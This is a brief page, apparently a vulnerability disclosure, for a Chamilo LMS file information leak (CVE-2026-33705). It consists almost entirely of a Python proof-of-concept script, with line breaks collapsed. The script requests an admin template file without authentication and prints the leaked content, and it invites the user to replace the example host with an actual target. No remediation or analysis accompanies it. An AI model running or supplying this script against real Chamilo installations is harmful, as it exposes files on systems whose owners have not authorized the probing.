CVE-2026-33705 Chamilo LMS敏感文件信息泄露漏洞

import requests def check_vulnerability(base_url): # Example target file path target_path = "/main/template/default/admin/layout.tpl" full_url = base_url + target_path try: # Send HTTP GET request without authentication response = requests.get(full_url, timeout=10) if response.status_code == 200: print(f"[+] Potential Vulnerability Found at: {full_url}") # Check if response contains typical template syntax if "{%" in response.text or "{{" in response.text: print("[+] Template syntax detected in response.") print("[+] Content snippet:") print(response.text[:200]) return True else: print(f"[-] Status Code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)